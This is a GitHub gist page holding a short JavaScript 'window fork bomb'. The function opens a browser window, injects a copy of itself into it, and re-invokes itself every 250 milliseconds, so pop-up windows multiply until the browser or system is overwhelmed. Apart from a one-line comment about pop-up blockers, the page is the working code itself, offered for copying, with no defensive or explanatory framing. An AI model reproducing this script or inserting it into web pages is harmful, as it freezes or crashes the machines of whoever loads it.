Skip to content

Instantly share code, notes, and snippets.

@john302
Forked from wlib/windowForkBomb.js
Created August 14, 2018 22:36
Show Gist options
  • Save john302/db70f8f971b9d396c8b73102489c52c0 to your computer and use it in GitHub Desktop.
Save john302/db70f8f971b9d396c8b73102489c52c0 to your computer and use it in GitHub Desktop.
JS window fork bomb
// Make sure to allow pop ups, or your browser will stop the window.open() (thankfully)
function fork() {
const win = window.open();
const script = win.document.createElement("script");
script.innerHTML = fork + "\n" + "fork();";
win.document.head.appendChild(script);
setTimeout(function() {
win.close();
fork();
}, 250)
}
fork();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment